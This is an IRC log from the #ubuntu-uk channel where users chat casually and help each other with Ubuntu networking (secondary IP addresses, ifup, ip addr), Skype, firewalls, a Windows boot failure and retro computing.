<jutnux> Azelphur: It's not much of an information overload :p
<jacobw> safer is definite
<intelhunter> yeah, i just had this PC ovehauled...
<intelhunter> it was slow and had lotso' shit in it.
<jutnux> intelhunter: Language please :-)
<Azelphur> jutnux: have you not even looked at that article haha, think about trying to read that on day 1 when you had no idea of any programming concepts at all, because that article requires that you know basic programming concepts/terminology to make any sense whatsoever :)
<jutnux> Azelphur: True, I see where you're coming from. But it's better to learn it sooner rather than later.
<Azelphur> jutnux: sooner perhaps, but not until basic programming concepts are down, information overload is the #1 killer when learning a new language :P
<jacobw> diveintopython3.org
<Azelphur> intelhunter: as for convincing btw, no need for us to do it haha, just dual boot, give it a try, see if it does what you need it to do :)
<jacobw> http://diveintopython3.ep.io/
<Azelphur> If you can get by without booting into windows for a month or so, you probably don't need windows any more and can safely remove it
<jutnux> I personally run a VM for Windows essential apps.
<intelhunter> ok---
<Azelphur> I game in wine :p
<jacobw> there's many advantages to running windows a vm if you don't have any special hardware requirements
<jacobw> how does that work Azelphur ?
<Azelphur> jacobw: quite well?
<jacobw> i tried to play counter strike in wine years ago and it didn't work well enough
<Azelphur> I've been playing CS:S/TF2 in wine ever since I switched about 4 years ago
<jutnux> I don't game :P
<Azelphur> :D
<jacobw> it was probably the nvidia drivers of the time
<jacobw> i don't game either now, i keep meaning to try minecraft
<intelhunter> ok---
<jutnux> Minecraft is good. I get bored of it pretty quick.
<MartijnVdS> you like being bored?
<Azelphur> what's the "proper" way to bind additional IPs on Ubuntu server?
<MartijnVdS> Azelphur: in add them on the :x alias interfaces in /etc/network/interfaces
<MartijnVdS> auto eth0:1
<MartijnVdS> iface eth0:1 inet static
<MartijnVdS> etc.
<MartijnVdS> or do you mean some daemon binding to specific IPs?
<Azelphur> nah that's what I want
<MartijnVdS> \o/
<Azelphur> oh, they already did it for me
<Azelphur> already set up, I guess I just have to sudo service networking restart?
<jutnux> MartijnVdS: Obviously not, I should've added a though to the end of that sentence ;)
<MartijnVdS> jutnux: ;)
<daev_> anyone here experienced with xorg.conf?
<Azelphur> !anyone | daev_
<lubotu3> daev_: A high percentage of the first questions asked in this channel start with "Does anyone/anybody..." Why not ask your next question (the real one) and find out? See also !details, !gq, and !poll.
<MartijnVdS> daev_: I know it's seldom necessary anymore, what do you want to know :)
<daev_> I'm using the proprietary ati drivers at the moment and was hoping to use a different refresh rate. at the moment it's only got 60Hz available. However in windows permits higher. what would you suggest if not xorg?:]
<Azelphur> MartijnVdS: what do I do to reload /etc/network/interfaces?
<MartijnVdS> Azelphur: 2 options
<MartijnVdS> Azelphur: (a) restart networking service
<MartijnVdS> Azelphur: (b) ifup name_of_newly_added_interface
<MartijnVdS> (ifup eth0:1)
<Azelphur> ah, B sounds good then I don't interrupt the connection
<Azelphur> MartijnVdS: or not, doing sudo ifup eth1:0 and it's saying "RTNETLINK answers: File exists" "Failed to bring up eth1:1."
<MartijnVdS> hmm
<MartijnVdS> ah
<MartijnVdS> yes
<MartijnVdS> :0 isn't valid
<Azelphur> same issue with :1
<MartijnVdS> you should start with :1
<MartijnVdS> Azelphur: can you pastebin the file?
<Azelphur> MartijnVdS: http://pastebin.com/4Nh1eU9T
<MartijnVdS> ah yes
<MartijnVdS> you should start with :1
<MartijnVdS> and not use :0 at all
<Azelphur> MartijnVdS: bumped them all up 1, same issue
<Azelphur> oh wait, didn't do it right
<MartijnVdS> you can use
<MartijnVdS> ifup -a
<MartijnVdS> to do all at once
<MartijnVdS> (all marked "auto")
<Azelphur> yea, same issue it won't bring up eth1:*
<Azelphur> I bumped all the auto and iface lines up 1 so there's no eth1:0 any more
<MartijnVdS> Then you might need to restart networking (use screen!)
<Azelphur> MartijnVdS: a little worrying, if I break networking access I have to pay for remote hands :P
<MartijnVdS> Azelphur: hmm
<MartijnVdS> Azelphur: can you pastebin ifconfig -a
<Azelphur> http://paste.ubuntu.com/813559/
<Azelphur> MartijnVdS: also I don't think :0 is invalid, my old server uses :0 :p
<MartijnVdS> Azelphur: :0 is specialish though
<Azelphur> *shrug*
<MartijnVdS> Azelphur: and can your pastebin "ifup -a" ?
<Azelphur> MartijnVdS: http://paste.ubuntu.com/813563/
<MartijnVdS> cool
<MartijnVdS> Azelphur: what if you do:
<MartijnVdS> ifconfig eth1:1 ip.address.1 netmask net.mask.1
<Azelphur> MartijnVdS: with up on the end? sudo ifconfig eth1:1 74.91.116.115 netmask 255.255.255.0 up
<Azelphur> without up it does nothing, with up it says SIOCSIFFLAGS: Cannot assign requested address
<MartijnVdS> no, up is not necessary
<MartijnVdS> hmm
<MartijnVdS> Azelphur: "ip addr" and "ip route"
<MartijnVdS> what do thay say?
<Azelphur> MartijnVdS: http://paste.ubuntu.com/813567/
<MartijnVdS> you already have the addresses assigned :)
<MartijnVdS> on eth1
<Azelphur> how does that madness even work xD
<MartijnVdS> Azelphur: there are 2 ways to add addresses to an interface
<Azelphur> I see no eth1:1 in ifconfig
<MartijnVdS> the old style:
<MartijnVdS> ifconfig, with alias interfaces (":x")
<MartijnVdS> ip addr, with just the normal interface ("secondary" addresses in ip addr output)
<MartijnVdS> I don't know how the first method is supported in /e/n/i
<Azelphur> me either o.O
<MartijnVdS> but the "aliases" method IS supported, using :x notation as you've added
<MartijnVdS> Azelphur: ip addr del 74.91.116.115/24 dev eth1
<Azelphur> MartijnVdS: I didn't add that, it was there by default
<Azelphur> so since they appear to be there and working, I'll just guess "datacenter people did dark magic, don't touch it"
<MartijnVdS> Azelphur: then ifup eth1:x (where x = interface alias number with that ip)
<MartijnVdS> you never did 'ip addr add'?
<MartijnVdS> nothing in ~/.bash_history?
<Azelphur> MartijnVdS: haha yea, I see them doing it :)
<Azelphur> MartijnVdS: people using vi, I don't use vi, and messing with /etc/network/interfaces, upstream must have sorted it :p
<AlanBell> hmm, broken my unity3d again :(
<MartijnVdS> Azelphur: OK, so don't touch it ;)
<Azelphur> indeed, didn't realise they'd done it, I didn't even know you could do that without it showing up in ifconfig on the :x interfaces
<Azelphur> dark upstream voodoo >.<
<MartijnVdS> nah
<MartijnVdS> Azelphur: http://andys.org.uk/bits/2010/02/24/iproute2-life-after-ifconfig/
<Azelphur> fun :)
<Azelphur> Speaking of up upstream voodoo, they just upgraded their SLA, basically it's 100% everything
<MartijnVdS> Azelphur: even better: http://dougvitale.wordpress.com/2011/12/21/deprecated-linux-networking-commands-and-their-replacements/
<Azelphur> fun
<MartijnVdS> Azelphur: good guide to learn :)
<Azelphur> Indeed
<Azelphur> https://www.nfoservers.com/sla.php I quite like this SLA :D
<MartijnVdS> gamers.. ;)
<Azelphur> well hey, it is a game server, and they do seem to have their stuff in order
<jutnux> 90% done \o/
<MartijnVdS> issyl0: having an irc identity crisis? :)
<issyl0> Yes.
<jutnux> popey: That exopc tab looks nice.
<jacobw> does anyone have experience with apacheds?
<MartijnVdS> jacobw: what's that?
<popey> nah, looks rubbish jutnux âº
<jacobw> apache's ldap server
<jacobw> the documentation for openldap is a bit sparse
<MartijnVdS> the documentation for any ldap is sparse
<AlanBell> heh, thought I had some weird audio bug going on, but it turned out to be orca in scottish accent mode
 * AlanBell blames gordonjcp 
<MartijnVdS> hhaha
<gordonjcp> haha
<gordonjcp> wiznae meee
<MartijnVdS> gordonjcp: I've just watched a few episodes of "Burnistoun"
<MartijnVdS> gordonjcp: it helps with reading that :)
<gordonjcp> MartijnVdS: I don't have a "Scottish accent" particularly
<MartijnVdS> what do you have then? :)
<gordonjcp> depends who you ask
<gordonjcp> some people think I sound Scottish, some think I sound English
<MartijnVdS> Scenglish
<gordonjcp> then there are the weird outliers who think I'm Canadian or Norwegian
<MartijnVdS> don't they mean Glaswegian then ;)
<gordonjcp> I definitely don't sound Glaswegian
<Pendulum> you definitely don't sound Canadian either
<Pendulum> (can't vouch for Norwegian as I'm not sure I have anything to compare to)
<gordonjcp> no
<gordonjcp> well, one of my friends who is Danish says she can see how people might think I was Norwegian
<Pendulum> gordonjcp: Charlotte?
<gordonjcp> yeah
<Pendulum> I'm rather pleased I managed to remember that :)
<christel> there's apparently somewhere in scotland where the accent (and bastardisation of some words) sound very much like norwegian
<christel> i cant remember where mind
<christel> Pendulum: i'm norwegian! :P
 * bigcalm runs around in a blind panic
<bigcalm> Oh, I there
<bigcalm> Is there a reliable MS Project viewer for Linux?
<ali1234> popey: how did you do minecraft screencasts?
<ali1234> it just ocured to me, you said that your scripts only work with nouveau
<ali1234> but minecraft doesn't work with nouveau
<ali1234> it doesn't work particularly well with intel graphics either
<bigcalm> I need to map work flows. Suggested app?
<bigcalm> Open Office Draw apparently
<mgdm> http://pencil.evolus.vn/en-US/Home.aspx I read about this yesterday
<ali1234> https://bugs.launchpad.net/ubuntu/+source/adobe-flashplugin/+bug/865672
<lubotu3> Ubuntu bug 865672 in unity (Ubuntu) "Adobe flash settings 'allow-deny' dialogue does not respond" [Medium,Confirmed]
<ali1234> everyone go click "me to" on this if you use compiz or unity 3d
#ubuntu-uk 2013-01-14
<solarcloud_3scrn> Oh and daftykins & cjo, buttercup is a printer driver I'm working on xD (we all need "cup's" )
<daftykins> i bet by just fine ^_^
<daftykins> oops
<daftykins> *get
<daftykins> yet another kernel rejig
<daftykins> http://i.imgur.com/qHcfj.jpg
<popey_> moo
<daftykins> go to sleep
<daftykins> :>
<MartijnVdS> morning
<MartijnVdS> daftykins: I just woke up! :)
<daftykins> :D
<daftykins> i'm a bit horrified you guys get up this early
<MartijnVdS> ma jan 14 06:42:37 CET 2013
<MartijnVdS> it's not THAT early
<MartijnVdS> and popey_ seems to have an "other side of the planet"-excuse
<daftykins> oh he's doing that again
<daftykins> cheater!
<popey_> hehe
<popey_> only 21:44 here âº
<popey> ooh
<popey> although I am a bit wobble
<popey> lsiudlaflihfewliuwef
<popey> etc
<MartijnVdS> popey: you brought the cat? :)
<popey> heh
<popey> i need to slep
<popey> er
<MartijnVdS> let's all slep popey !
<popey> :D
<daftykins> poor guy's only freedom
<popey> sleepy time
<daftykins> nn
<popey> âº
<daubers> Morning
<AlanBell> morning
<TheOpenSourcerer> Afternoon
<Laney> ahoy
 * Laney shivers
<hoover> Good morning
<dwatkins> wotcher
<Laney> everyone got a lovely dusting of snow? ^_^
<directhex> yes
<knightwise> morning
<diplo> Morning
<czajkowski> aloha
<czajkowski> Laney: I have snow and it's sticing and there is more coming down
<dwatkins> strangely we have no snow here in Scotland
<czajkowski> bah
<Laney> i want more!
<Laney> apport has decided to start working
<Laney> cue hundreds of reports at once
<knightwise> hey Laney czajkowski !
<knightwise> how are you doing today !
<Laney> tickin' along
<czajkowski> loath_~SNOW
<Laney> nooooooo
<Laney> ooh, here comes the snow part two
<Azelphur> indeed, I have many snows.
<knightwise> http://www.youtube.com/watch?v=CH2KGboA35c Snooow
<knightwise> Oh sweet spotify , drown out the co-workers noises with your sweet music.
<Azelphur> this song is funny, she wants to wash herself in snow
<Azelphur> xD
<brobostigon> good morning everyone,
<kvarley>  brobostigon: \o
<kvarley> How goes it?
<brobostigon> kvarley: not bad, and you?
<kvarley>  brobostigon: I'm good. Snowing her, wish it'd stop
<brobostigon> kvarley: we got alittle overnight, but that has been it.
<brobostigon> i think at the moment, it is semi-raining, with a few flakes.
<brobostigon> a day to test, if my new winter jacket. will keep me dry and warm.
<davmor2> Morning all
<mungbean> is there any money for the metal in old boilers, or they should go straight to the dump?
<czajkowski> Laney: you'd like it here
<czajkowski> it's snowing
<czajkowski> and settling
<diplo> mungbean: Only if there is lots of copper
<Laney> czajkowski: jealous!
<Laney> it's starting to settle here actually
<Laney> hope it keeps it up for a few more hours ...
<diplo> We've got lots of water settling!
<diplo> Bloomin rain!
<czajkowski> poxy snow
<xnox> mungbean: yes, there is.
<mungbean> xnox: taking to scrap yard?
<xnox> mungbean: i mean, you can get some money for it as pure scrap metal.
<mungbean> by taking to a scrap yard?
<xnox> mungbean: but transportation costs might be more than you get out of it. E.g. nobody will come to collect it.
<mungbean> fits in my estate car i think
<xnox> mungbean: dunno what they are called in British English, but yeah scrap yard that buys metal should do.
<xnox> mungbean: call them up first to see if they want it or not =) some scrap yards specialise only in certain things.
<mungbean> http://forums.moneysavingexpert.com/showthread.php?t=2587913
<xnox> (e.g. like batteries or electronics only)
<xnox> mungbean: if it's made from ferrous metals (like copper) than you will get a lot for it. If there is a lot of disassembly and not much metal, you'll get less =)
 * xnox 's dad runs a metal scrap yard ;-)
<mungbean> i don't have a big copper cylinder, its just an old combi boiler, will prob take it to the council recycling centre
<xnox> =) then council sells them to scrap yard in bulk and gets money =)
<Laney> hot squash :>
<ali1234> xnox: if only that were true. what will actually happen is the council will pay a company to crush it and then ship it to africa, where it will be dumped in a field, rust, and poison the water table.
<xnox> ali1234: scrap metal is up to 98% recyclable, and is traded on exchanges in london and throught the world. I doubt it's metal that's crushed and dumped.
<xnox> Plastics often are.
<xnox> ali1234: if you know councils that dump metal, get them in touch with me. I'd buy their scrap metal.
<mungbean> councils will strip them down and profit in bulk
<mungbean> i'm happy to do that
<ali1234> that's the thing. you can't just buy the metal from them
<ali1234> they throw *all* the garbage into a giant crusher, then put it into shipping containers and send it to foreign countries
<ali1234> you see the council has contracts with "recycling" companies
<mungbean> i have a friend who works for the recycling team
<mungbean> i'll check with him, but pretty sure they strip them here onsite
<ali1234> and those companies have contracts with overseas companies who supposedly do the actual recycling, but instead just dump it
<mungbean> i know that the reason they fill up ships with plastic bottles and send to china is not for recycling abroad (although they are recycled), but for ballast in the boats as there is massive disparity between imports and exports to china
<selinuxium> Afternoon all o/
<Azelphur> why do ikea hate me so, additional 3 week delay on delivery
<davmor2> czajkowski: how is your lunch break switch off going ?
<czajkowski> not bad
<czajkowski> getting better
<czajkowski> went at 2 today
<czajkowski> just back
<meet> does aria2c or axel really speed up downloads?
<davmor2> meet: only in the same way bittorrent can,  If you have loads of seeds it goes faster than when there are fewer seeds
<davmor2> meet: this creates a load of connections to one machine though so depends if the machine is configure to stop multiple downloads from one source how fast that machine is etc
<meet> davmor2: so both of them make many to connections?
<meet> davmor2: or do they also find multiple mirrors?
<davmor2> meet: basically
<davmor2> meet: no not multiple mirrors they just download it in parallel rather than serial
<meet> davmor2: btw which one is better?
<davmor2> meet: pass I only ever used axel years ago
<meet> davmor2: :) ok.. btw my updates and downloads through software center senter are vey slow than my normal speed.. what can i do so my full bandwidth is utilised ?
<davmor2> meet: USC will use as much bandwidth as is available and that matches the speed of the ppa/repo that you are connected too
<meet> davmor2: i used the select best mirror option in the settings. but it chose a server geographically much far away from me. so should i just keep to the default one?
<davmor2> meet: possibly
<meet> while installing gnome shell in ubuntu12.10 can i choose the applications which should be installed? like what if i dont want evolution or empathy etc>
<diplo> anyone use mythtv backend with xbmc here ?
<popey> morning
<davmor2> hey popey
<dwatkins> evening
<Laney> muhahaha
<Laney> found a forgotten selection box
<czajkowski> danfish: https://launchpad.net/gpdictaware
 * czajkowski steals Laney selection box
<Laney> TOO LATE I ATE IT ALL
 * Laney gets sick
<czajkowski> not going out in the snow then are you now!
 * MartijnVdS puts Laney in quarantine
<Laney> it's been melting anyway :( crap snow :(
<czajkowski> Laney: not here it isn't
<MartijnVdS> we have a fine dusting of snow
<czajkowski> danfish: another one https://launchpad.net/medicalstore
<Laney> lucky yous
<czajkowski> lots of good ideas there
<czajkowski> Laney: bah
<MartijnVdS> so of course the railway people announced "special schedules" for tomorrow
<danfish> czajkowski: ta!
<czajkowski> danfish: may or may not be interesting
<czajkowski> but lots of medical projects seeem to appear
<bigcalm> Ding dong
<davmor2> bigcalm: did you say that as you typed in a Leslie Philips stylee
<bigcalm> davmor2: but of course
<davmor2> bigcalm: good man
<bigcalm> How does one force a socket free? I have a crashed process that wont restart until the port is free
<bigcalm> Woo, nearly home time!
<bigcalm> That would mean so much more if I didn't work from home
<czajkowski> AlanBell: Pendulum https://launchpad.net/speechcontrol
<davmor2> bigcalm: you mean nearly lounge time surely
<bootkigftrgds> Hi there, Just to let you know, I installed avast for Linux  and got a key and after a few screens I installed Avast Anit-virus and I thought I'd get back in touch. Here is my review .. http://paste.lisp.org/+2VVP hope that helps. Overall score 3/10
<zleap> why do you need avast antivirus on Linux ?  or any anti virus in the first place
<bootkigftrgds> Ask avast.
<MartijnVdS> arrr!
<dwatkins> for running Samba to allow people to store their files?
<bootkigftrgds> dwatkins: I'm not sure, but I think you did say when I asked about Av for Linux .. ' give it a try & report back to us ' .. so I did .. works Ok , but very minimal TBH.
<dwatkins> bootkigftrgds: cool
<bootkigftrgds> there must be a market the para'ds among us.
<bootkigftrgds> i just like trying new software :)
<dwatkins> or those who want to protect other users from themselves ;)
<bootkigftrgds> true.
<dwatkins> I'd be very surprised if you found any malware within Linux itself, since you've presumably been using the official repositories to install, although there's a chance some 3rd party repo might be compromised, of course.
<bootkigftrgds> has anyone actually use the firewall that comes with Ubuntu, 'cos I've never ben able to configure it .. no biggie.
<MartijnVdS> dwatkins: when official repos are compromised, there's usually a big news story about it
<dwatkins> MartijnVdS: I'm sure there would be, yes
<dwatkins> bootkigftrgds: https://wiki.ubuntu.com/UncomplicatedFirewall
<bootkigftrgds> opening...
<MartijnVdS> unless you're using a two-user distro of some kind of course
<jacobw> the offical repos have been compromised?
<dwatkins> no
<dwatkins> we're speculating about ways a linux system could end up with a virus or malware
<zleap> rootkits mainly i guess
<zleap> if you run as root all the time
<davmor2> bootkigftrgds: there is bitdefender for linux too that does a gui iirc, install gufw and that is way easier for a gui system
<jacobw> :)
 * jacobw takes a deep breath
<zleap> physical access to a system,  if someone then instlls a key logger somewhere (hardware)
<zleap> installs
<bootkigftrgds> dwatkins: crumbs, that link is way beyond my ability,is there a book for general purpose firewall , just to get the terminology etc, or is it all on-line ??
<jacobw> signed binaries and reasonable passwords, trust keys and certificates, not network addresses
<bootkigftrgds> davmor2: Thank, I'll give it a try, late.
<bootkigftrgds> **later.
<dwatkins> bootkigftrgds: I imagine there are other tutorials for it, it should jsut be a case of installing it then specifically allowing the ports you want to open, though.
<bootkigftrgds> Yeah, although I know what ports are, you lost me a specifying what ports I want open ..
<jacobw> "all things from this address space are allowed" becomes a liability when that address space has been repurpose a few dozen times :)
<dwatkins> repurpose, jacobw?
<jacobw> reallocated
<davmor2> bootkigftrgds: ufw is a system that uses the firewall build into linux.  The reason it is called uncomplicated Firewall is because it uses pretty much plain english.  However it still needs to be able to do everything that is needed from an industrial grade firewall
<dwatkins> can anyone suggest a way to test if a UDP port is listening for a connection? I assume it's effectively pointless to try, since there's no connection established, so unless you get rejected you can't know.
<jacobw> 192.168.7.0/24 is for my private servers at that I trust SSH from at time A, then I move my private servers to a public space and reallocate it for a new office LAN, at time B I trust SSH from an office LAN
<jacobw> it's just a pet peeve of mine, it's not particularly relevant :|
<bootkigftrgds> Wow .. looks like Avast has spring-boarded a popular topic :D
<dwatkins> jacobw: what's the annoying part? I don't understand
<jacobw> dwatkins: network addresses don't identify trusted things
<dwatkins> ah ok
<dwatkins> I tend o use ssh keys for that ;)
<dwatkins> *to
<jacobw> exactly, trusting keys and certificates is so much better
<jacobw> soap box time over
<kevin> hi all, anyone use skype with unity? why isn't it possible to resize the chat window width to below a certain threshold?
<skinofstars> or is that just a skype thing?
<popey> i use it, yes
<popey> sounds like a skype issue
<skinofstars> popey: thought as much. thanks
<Whoop> skinofstars: probably unrelated but have you seen skype wrapper?
<Whoop> it fixes a load of crappy unity/skype things
<directhex> most windows can declare a minimum size to the window manager
<skinofstars> Whoop: i have not seen that, no. wil check it out. thanks
<directhex> native Skype support in empathy!
<skinofstars> directhex: really? does that support voice/video calls and group chat?
<directhex> s' not available publicly. sorry.
<neuro> jono's doing his weekly Q&A chat, quick! to #ubuntu-on-air to ask him embarrassing questions!
<Whoop> native?  I don't belive it, thats not possible unless someone reverse engineered the Skype protocol.  There's no way to communicate with Skype unless you have the official client open then utalise the API
<commonWinuser> Hello ?
<commonWinuser> Is anyone actually here ?
<skinofstars> hi
<skinofstars> wassup?
<commonWinuser> Hello. Just PC trubles I guess.
<commonWinuser> *troubles. (sorry I'm bad at English)
<commonWinuser> Would you mind if I ask you for some help ?
<ali1234> Whoop: it's possible if you license the skype libraries... then you can integrate it however you want with whatever you want
<ali1234> Whoop: see the N900 for an example of how to do it properly
<dwatkins> I thought there were security keys involved as well stopping other clients form using skype's service.
<ali1234> none of that matters
<Whoop> Really?  I thought they had strict licensing on you being able to only do that if there were no official client or some crap
<dwatkins> commonWinuser: you can ask, but if you're using Windows, you may not necessarily get a reply ;)
<ali1234> there is an official skype library that runs headless
<skinofstars> commonWinuser: you should just ask. if anynoe knows the answer, they'll help :)
<commonWinuser> Yeah I know but I'm using Linux to fix the laptop.
<Whoop> Thats not really native then is it :)
<ali1234> what is native then?
<commonWinuser> I know very very very... basics of Linux
<Whoop> ali1234: implementation of the protocol, no backend closed daemon etc
<ali1234> are you going to just redefine what native means until it fits your definition?
<ali1234> libskype isn't a daemon... it's a library
<ali1234> it isn't open source
<ali1234> it is native though
<Whoop> you said headless, that implies its running in the background without a head
 * Whoop shrugs
<commonWinuser> Well guys today my mother booted up the laptop normaly but it kept giving message similar to "Insert proper boot media and press any key to boot"
<bootkigftrgds> directhex .. Why doesn't 'sudo apt-get empathy' work on my Lubuntu machine ??
<skinofstars> i've not kept up with skype development, but in the past when i've wanted to run 'headless' skype i've ended up with what is basically a minimal x11 env, thn hooking into the api
<Whoop> skinofstars: thats what I thought also, so nfi
<directhex> bootkigftrgds, because you need to issue an actual command to apt-get, like "install"
<commonWinuser> skinofstars: well the things is the laptop worked fine
<dwatkins> bootkigftrgds: does it say that you need the word 'install' as well as the application?
<directhex> skinofstars, yeah, a proper headless version is written, but nobody wants to pay the associated costs for releasing it
<ali1234> 'cept nokia. right?
<bootkigftrgds> ok
<skinofstars> commonWinuser: the latop works fine with ubuntu?
<commonWinuser> skinofstars: It had win7 instaled. And this morning it simply stoped. The laptop had no contact to suspicious websites as mother only watches shows shown on Youtube. And has Eset Nod Smart security instaled
<commonWinuser> skinofstars: well here is the thing. this morning that error apeared.
<directhex> ali1234, on the N9? yes afaik.
<skinofstars> commonWinuser: that's a windows error though, right?
<commonWinuser> skinofstars: Because the DVD reader refused to read my Win7 DVD. I made a live boot USB
<ali1234> directhex: it's on N900 too
<commonWinuser> skinofstars: yes but get this...
<directhex> ali1234, yeah
<commonWinuser> skinofstars: It boots up and tells me that no OS is instaled.
<ali1234> and it's really really good
<commonWinuser> skinofstars: And it keeps giving me the error that there is no OS to boot from.
<ali1234> as i was saying the other day... canonical should license it
<ali1234> it was a killer app on N900
<commonWinuser> skinofstars: So I made Ubuntu live boot USB
<dwatkins> commonWinuser: if says no OS is present, how does it boot?
<commonWinuser> skinofstars: Well Ubuntu runs fine but
<dwatkins> or rather 'what' does it boot?
<commonWinuser> skinofstars: Gives "/boot/" some .ini file win tries to boot Win but there is no OS
<commonWinuser> skinofstars: anyway Ubuntu loads up all is fine and when I try to check the HDD
<skinofstars> commonWinuser: do you have a windows recovery disk?
<commonWinuser> skinofstars: ... there isn't one
<commonWinuser> skinofstars: No... I have win7 instalation disk but reader refuses to read it
<skinofstars> commonWinuser: oh, you can't access the hdd at all with ubuntu?
<skinofstars> commonWinuser: that doesn't sound good
<commonWinuser> skinofstars: No. It is like when windows tells you there are no drivers
<skinofstars> commonWinuser: sorry, i don't really know what windows says. i'm in the fortunate position of using debian/ubuntu at work and at home
<commonWinuser> skinofstars: And I have no idea what my hardware is. I tried this "sudo lshw
<commonWinuser> skinofstars: Well I would use Ubuntu as well but my parents have some... Issues about it...
<neuro> commonWinuser: you need to use a windows recovery disc to repair the MBR
<neuro> commonWinuser: download one and burn it if your current one is broken: http://www.w7forums.com/official-windows-7-sp1-iso-image-downloads-t12325.html
<commonWinuser> skinofstars: I see. So no other solution apart from that. Thank you for your time. And thanks for the solution :D
<skinofstars> thanks neuro :)
<skinofstars> commonWinuser: god luck
<neuro> if your hard disk is broken, you need to replace it, reinstall and restore from your backups
<skinofstars> good*
<commonWinuser> skinofstars: Thanks
<commonWinuser> Good bye and have a nice day :D
<neuro> why people come into an ubuntu channel for help with windows is beyond me
<ali1234> have you ever been to #windows?
<skinofstars> .... not sure i deserved that thanks. cheers for stepping in there neuro
<neuro> and why people from bosnia come into a UK channel is also beyond me :)
<neuro> skinofstars: no worries
<neuro> ali1234: no, and i don't plan to ;)
<dwatkins> Ukraine? uk...
<skinofstars> heh
<neuro> possibly ...
<neuro> skinofstars: best thing to get rid of interlopers is quickly google for some info and pass it on
 * dwatkins wonders if there's a .ni tld, since there's a .uk not a .gb 
<neuro> and when i say "get rid of", i mean "assist politely and in the spirit of sharing"
<neuro> dwatkins: there is a .gb
<neuro> but the early uk networks already used uk historically in pre DNS addressing
<dwatkins> neuro: ok, I should have said that it is actually used by more than a couple hosts ;)
<dwatkins> I mean isn't... or something
<neuro> hey
<neuro> there's THREE hosts in .gb
<skinofstars> .ni is Nicaragua
<neuro> exactly
<neuro> the standard is the ISO3166-1 code
<neuro> NI isn't a stanard code
<dwatkins> heh, ok
<neuro> <- knows stuff
<dwatkins> I know, I was just kidding :)
<neuro> :)
<jacobw> wikipedia does too
 * dwatkins is quite familiar with ISO3166, and often refers people to it
<neuro> blame jon postel, to be honest
<dwatkins> the guy who wrote the RFCs?
<neuro> ya
<dwatkins> "The Doctor Who Past Doctor Adventures novel Blue Box, written in 2003 but set in 1981, includes a character predicting that by the year 2000 there will be four hundred machines connected to ARPANET."
<neuro> and they will weigh less than four tons
 * dwatkins grins
<neuro> i wish i'd had a go at ARPANET
<neuro> but the first time i touched an internet connected machine was 1992
<dwatkins> likewise, a much more innocent time, too
<neuro> so i missed it by 2 yrs
<dwatkins> I had my first foray into the internet in about 1994
<dwatkins> I remember seeing someone dial-up in the late 1980s, but that wasn't really internet
<dwatkins> telnetting from a BBC Micro
 * dwatkins wonders if he can use his beeb as an ssh client
<neuro> probably x25
<neuro> ha
<neuro> probably
<neuro> people have hacked tcp onto spectrums and c64s
<dwatkins> looks like kermit was available, so perhaps I can do internal-only telnet at home
<neuro> closest you'll probably get is a riscos client
<neuro> http://nettle.sourceforge.net/
<dwatkins> neat
<dwatkins> one of the things on my 'someday' shopping list is an A3020
<neuro> calls binaries for things it doesn't understand, so just install openssh alongside it
<neuro> i have an A5000 sitting under my desk in my wee office
<dwatkins> I have red function keys on order for my IBM Model M
<dwatkins> I've got RISC OS installed on the Raspberry Pi, so can run arch and beeb stuffs on there
<neuro> :)
<dwatkins> wow: http://mdfs.net/Apps/Networking/EcoTCP/ReadMe
<dwatkins> TCP/IP for the BBC Micro
<neuro> i should have known
<neuro> ah yeah, thought it would do that
<neuro> graft it on top of econet
<dwatkins> I have a B+ with all of 64k RAM :D
<dwatkins> no idea how likely it is I'll find an econet interface...
<neuro> ebay
<dwatkins> hmmm, only one on there is for the Master
<neuro> http://www.ebay.co.uk/itm/blah/150980131663
<neuro> yeah
<dwatkins> very tempting to get an archimedes, though
<dwatkins> anyway, back later, enjoy :)
<neuro> :)
<neuro> now *I* want an archie, git
<mgdm> neuro: get a raspberry pi and run the RiscOS image on it
<neuro> that would necessitate actually taking my rpi out the box
<mgdm> Yes. Yes it would.
<AlanBell> I have a riscos SD card, it was great to have a play with it again
<neuro> i do actually want to Do Stuff with mine, but i'm tempted to get another for noodlage
<neuro> in fact i'm tempted to get maplin's starter kit thingy once i'm working again
<AlanBell> get multiple smallish SD cards
<neuro> 75 quid for a model b incl 512MB plus raspian on a 4GB card, plus hub, keyb, mouse, twin USB PSU, A-B USB cable, hdmi, and wifi doobrie
<AlanBell> do you need all that?
<neuro> well it would be nice
<neuro> although admittedly i'd be more interested in a decent wee case
<AlanBell> I should get a case at some point
<mgdm> the PiBow is quite nice
<mgdm> if a little bright :)
<AlanBell> http://www.ebuyer.com/130039-kingston-8gb-secure-digital-high-capacity-card-sd4-8gb Â£3.99 now, SD cards are getting cheap
<neuro> i have 2 16s sitting there waiting to be used
<neuro> i'm such a lazy goit, i really am
<neuro> thing is, i've spent so much time virtualising stuff to not run lots of boxes, running a separate box to do anything seems a bit odd
<neuro> so i'd have to find something very particular that would require it to be running standalone rather than virtualised
<neuro> and i can't think of a particular use yet
<neuro> except for maybe a webcam thingy
<neuro> plug a standard usb webcam in one usb port, a wifi dongle in the other, and use it to like capture stuff
<neuro> and just need a power socket nearby for usb PSU
<neuro> can't think of anything else i'd use it for
<neuro> (that was a cue for someone to tell me some awesome interesting thing you'd use an rpi for!)
<shauno> I'm using mine as a gateway between router & 3g modem, until Chorus figure themselves out and get me hooked up
<shauno> yes there's 'mifi' things that do this properly, but for the sake of a week or two's connectivity, it's just the job
<neuro> nice
<neuro> chorus ...
<neuro> *brrrr*
<neuro> chills
<shauno> it's that or eircom here, really.  the choice between intentionally evil, and simply inept
<neuro> ireland ...
<neuro> the digital hub
<neuro> except when it comes to doing digital stuff for residents
<neuro> but for COMPANIES, come on in, we luv ya!
<neuro> i get why broadband is crap in ireland (massively rural legacy telco infra), but still ...
<shauno> well, I'm waiting for an appointment to get 100meg in here.  so I can't complain.  I'm just getting the run-around trying to get them moving.  they keep claiming my bank doesn't exist
<shauno> I either get the bangalore equivalent of "computer says no", or they just go back to page 1 of the script
<neuro> hehe
<neuro> unlucky
<shauno> on the plus side, my Roomba arrived today, so I feel like a 12yo :)  And already considering brain surgery on it
<neuro> lol
<neuro> bad enough you have an AI hoover in the house, but *hacking* it?!
<neuro> dude, skynet
<popey> do they actually work?
<shauno> well I went for the cheapest model I could find, and was rewarded with a complete lack of timing/scheduling functions.  which just seems so simple to achieve that it almost seems silly not to try adding it
<popey> i quite fancy one
<shauno> I'm not sure yet.  it did a fairly entertaining job on its first run, but now I'm obediently giving it an overnight on the charger like the book says
<popey> can it trundle around a whole house or does it only do one room at a time?
